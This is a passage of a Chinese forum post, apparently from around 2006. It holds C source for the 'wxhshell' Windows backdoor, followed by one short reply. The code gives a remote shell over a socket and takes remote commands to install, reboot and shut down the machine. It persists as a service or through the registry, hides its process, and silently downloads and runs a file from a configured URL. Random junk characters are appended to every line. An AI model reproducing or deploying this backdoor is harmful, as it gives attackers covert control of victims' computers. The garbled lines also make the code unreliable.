  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .aNh>`OT'  
  } 9Vt ^q%DC  
  else { a/V,iCiH  
hi"C<b.  
    switch(cmd[0]) { 6$b =Tr=0  
  ;U(]#pW!t  
  // 帮助 $4{sP Hi)I  
  case '?': { 5k0iVpjQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _m9k2[N!  
    break; bY P8  
  } oLoc jj~T  
  // 安装 @6 "MhF  
  case 'i': { liS'  
    if(Install()) 8!2)=8|f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sOLh'x f.  
    else 2_w pj;E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .+9*5  
    break; ?g ,s<{  
    } q1VKoKb6\:  
  // 卸载 T ~xVHk1  
  case 'r': { (u 7Lh>6%  
    if(Uninstall()) 6y^ zC?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Eh5g/,[  
    else Zv %>m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eX$KH;M  
    break; toY_1  
    } ^&<M""Z  
  // 显示 wxhshell 所在路径 s&E,$|80  
  case 'p': { D/E5&6  
    char svExeFile[MAX_PATH]; ?2"g*Bak  
    strcpy(svExeFile,"\n\r"); 8xlj,}QO\  
      strcat(svExeFile,ExeFile); p6j-8ggL  
        send(wsh,svExeFile,strlen(svExeFile),0); ;T^s&/>E  
    break; ={B C0,  
    } i*|HN"!  
  // 重启 #2^0z`-\_z  
  case 'b': { F${sEtH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qf_N,Bq{a  
    if(Boot(REBOOT)) X`g<"Ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1CP]5W  
    else { 5~h )pt47  
    closesocket(wsh); kqeEm {I  
    ExitThread(0); c^w^'<  
    } E{V?[HcWq  
    break; *<^C0:i(  
    } &n1Vv_Lb  
  // 关机 Kl.*Q  
  case 'd': { G `|7NL   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YIk@{V  
    if(Boot(SHUTDOWN)) #K^hKx9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3f5YPf2u  
    else { .f$2-5q  
    closesocket(wsh); XuP%/\  
    ExitThread(0); 4S42h_9  
    } $'\kK,=  
    break; 3rRIrrYO  
    } m@ <,bZkl  
  // 获取shell % i?  
  case 's': { Py*WHHO  
    CmdShell(wsh); ,It0brF  
    closesocket(wsh); .M:&Aj)x16  
    ExitThread(0);  (7X  
    break; QI[WXx p  
  } uT]$R  
  // 退出 c%5P|R~g]p  
  case 'x': { f_ MK4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KOg,V_(I  
    CloseIt(wsh); o135Xh$_>'  
    break; i5r<CxS  
    } rTR$\ [C  
  // 离开 \Hb!<mrp  
  case 'q': { ;I5P<7VW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UovN"8W+  
    closesocket(wsh); YAXd   
    WSACleanup(); F(1E@xs  
    exit(1); S<(i/5Z+  
    break; d\qszYP[  
        } EF&CV{Sw  
  } iU+SXsXLR4  
  } ir'<H<t2  
=RUy4+0>F  
  // 提示信息 6`2i'flv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FqJd  
} qVU<jt  
  } O\7x+^.  
\:h7,[e  
  return; &</)k|.A6\  
} lfBCzxifC  
`0ZH=*P  
// shell模块句柄 9L7z<ntn  
int CmdShell(SOCKET sock) X(Af`KOg[  
{ 6Zpa[,gm  
STARTUPINFO si; ot7f?tF2<J  
ZeroMemory(&si,sizeof(si)); to13&#o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !9gpuS[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^%*qe5J  
PROCESS_INFORMATION ProcessInfo; y a$yRsd`  
char cmdline[]="cmd"; yPfx!9B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yuC"V'  
  return 0; `/1rZ#  
} Q:) 4  
nGGw(6c%>  
// 自身启动模式 mqeW,89  
int StartFromService(void) ();Z,A  
{ ecm+33C  
typedef struct C2LG@iCIE  
{ iOm&(2/  
  DWORD ExitStatus; 7r,GdP.  
  DWORD PebBaseAddress; V@+sNM  
  DWORD AffinityMask; jA8Bmwt;w  
  DWORD BasePriority; 1<h@ ^s;  
  ULONG UniqueProcessId; Kez0Bka  
  ULONG InheritedFromUniqueProcessId; zk }SEt-  
}   PROCESS_BASIC_INFORMATION; 4qDa: D"5  
&pl)E$Y  
PROCNTQSIP NtQueryInformationProcess; .z CkB86  
5<X"+`=9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )j]f ]8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j^/<:e c.  
1V5N)ty  
  HANDLE             hProcess; >mQD/U  
  PROCESS_BASIC_INFORMATION pbi; F+c8 O  
{uwPP2YD,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rG-x 3>b  
  if(NULL == hInst ) return 0; =Q;dYx%I5  
UptKN|S&V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /W>?p@j+K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |1kA6/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;U0w<>4L  
M+-odLltw  
  if (!NtQueryInformationProcess) return 0; ,X| >d  
XR=ebl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l [ m_<1L  
  if(!hProcess) return 0; ='I2&I,)  
MG&vduu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fZs}u<3Q)  
mr>E'd.'  
  CloseHandle(hProcess); H5vg s2R  
$XyDw|z[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O?#<kmd/)  
if(hProcess==NULL) return 0; G"J 8i|~  
U2Siw   
HMODULE hMod; i @M^l`w  
char procName[255]; uf )!SxT  
unsigned long cbNeeded; 3DjX0Dx/l  
2e,cE6r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DBfq9%J _  
Nc EPPl 0I  
  CloseHandle(hProcess); N+UBXhh  
EwfL.z  
if(strstr(procName,"services")) return 1; // 以服务启动 ckdCd J  
[*vR&4mk  
  return 0; // 注册表启动 lE bV)&'  
} it j&L <e  
d<_IC7$u>  
// 主模块 >.gT9  
int StartWxhshell(LPSTR lpCmdLine) LK|rLoia:  
{ IjPt JwW`A  
  SOCKET wsl; %B>>J%  
BOOL val=TRUE; R,hwn2@B  
  int port=0; ^x >R #.R  
  struct sockaddr_in door; hs)_h^P   
MR":a T  
  if(wscfg.ws_autoins) Install(); p?s[I)e  
 *% ]&5  
port=atoi(lpCmdLine); Y0Rk:Njc  
n7#}i2:  
if(port<=0) port=wscfg.ws_port; B%co`0$  
xCU pMB7  
  WSADATA data; DRu#vC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yEL5U{  
!5zj+N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k+u L^teyS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ];{CNDAL2  
  door.sin_family = AF_INET; l\bgp3.+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I(Q3YDdb  
  door.sin_port = htons(port); F`f8q\Fc  
ibuoq X`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4:s!mHcz  
closesocket(wsl); l !R >I7  
return 1; ^,fMs:  
} PAjH*5I A  
hRktvO)K  
  if(listen(wsl,2) == INVALID_SOCKET) { Z=144n 1  
closesocket(wsl); Z&Z= 24q_  
return 1; \4hB1-  
} d/I*$UC  
  Wxhshell(wsl); Cbr>\;sc2Z  
  WSACleanup(); KZsJ_t++!W  
k 3 oR:  
return 0; |("zW7g  
BWG#W C  
} Z'\{hL S  
T oK'Pd  
// 以NT服务方式启动 vt2A/9_Z%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @O&;%IZMY  
{ uKpWb1(  
DWORD   status = 0; sxn^1|O;m  
  DWORD   specificError = 0xfffffff; {edjvPlk  
d7!,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; af;~<o a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  5wy3C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MN. $a9m  
  serviceStatus.dwWin32ExitCode     = 0; JQ"w{O  
  serviceStatus.dwServiceSpecificExitCode = 0; wD`jks  
  serviceStatus.dwCheckPoint       = 0; {-e|x&-  
  serviceStatus.dwWaitHint       = 0; ~g|z7o  
+ Awo\;@,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0X4%Ccs  
  if (hServiceStatusHandle==0) return; L[.RV*sL  
0%GQXiy  
status = GetLastError(); rh 7%<xb>  
  if (status!=NO_ERROR) ~"#[<d  
{ GUdVsZjz(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w4\g]\  
    serviceStatus.dwCheckPoint       = 0; ` @Tl7I\  
    serviceStatus.dwWaitHint       = 0; uO}UvMW  
    serviceStatus.dwWin32ExitCode     = status; _';oT*#  
    serviceStatus.dwServiceSpecificExitCode = specificError; rIZ^ix-N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); je^=gnq  
    return; n0%]dKCB  
  } 6]5e(J{Fz  
#u<n .  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |$a!Zx94^  
  serviceStatus.dwCheckPoint       = 0; ubQZTAx  
  serviceStatus.dwWaitHint       = 0; h}c R >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <vUhJgN2/  
} %XAF"J  
tg' 2 v/  
// 处理NT服务事件,比如:启动、停止 GYK&QYi,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s'yT}XQ;r  
{ ftwn<B  
switch(fdwControl) Ht=h9}x"g  
{ N@r`+(_t  
case SERVICE_CONTROL_STOP: G[M{TS3&Ds  
  serviceStatus.dwWin32ExitCode = 0; Z@{e\sZ)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lzup! `g  
  serviceStatus.dwCheckPoint   = 0; v[I,N$ :  
  serviceStatus.dwWaitHint     = 0; ;@l5kdZx`  
  { T+U,?2nF:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6y+}=)J  
  } f?|cQ[#t!\  
  return; *wD| e K7  
case SERVICE_CONTROL_PAUSE: p`2w\P3;)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $~FnBD%|{  
  break; |v31weD8  
case SERVICE_CONTROL_CONTINUE: @Rp#*{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sbV {RSl  
  break; P{gy/'PH,  
case SERVICE_CONTROL_INTERROGATE: \:@yfI@  
  break; T?Y/0znB*  
}; _@:O&G2nB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Gkmk?x`A  
} mcqLN5  
-J\R}9 lIm  
// 标准应用程序主函数 i]M:ntB"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0G}]d17ho  
{ na,i(m?l  
~rICPR  
// 获取操作系统版本 t0-)\kXcA  
OsIsNt=GetOsVer(); 0` \!O(jJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h#Q Sx@U6  
fA{t\  
  // 从命令行安装 gyf9D]W  
  if(strpbrk(lpCmdLine,"iI")) Install(); D +Ui1h-  
gOL-b9W  
  // 下载执行文件 yON";|*\m  
if(wscfg.ws_downexe) { '&42E[0P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &x>8 %Q s  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5KIlU78  
} Kdr7JQYzuz  
yHIZpU|(j  
if(!OsIsNt) { t+<?$I[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;2%8tV$V  
HideProc(); %=EN 3>,  
StartWxhshell(lpCmdLine); DL]\dD   
} bHf> EU  
else <yxy ;o  
  if(StartFromService()) R7Z7o4jg  
  // 以服务方式启动 {$fd?| 9h  
  StartServiceCtrlDispatcher(DispatchTable); sm9/sX!  
else |O4LR,{G.w  
  // 普通方式启动 rS&"UH?c7  
  StartWxhshell(lpCmdLine); `m7w%J.>n  
~H~iKl}|7  
return 0; q-|j =  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八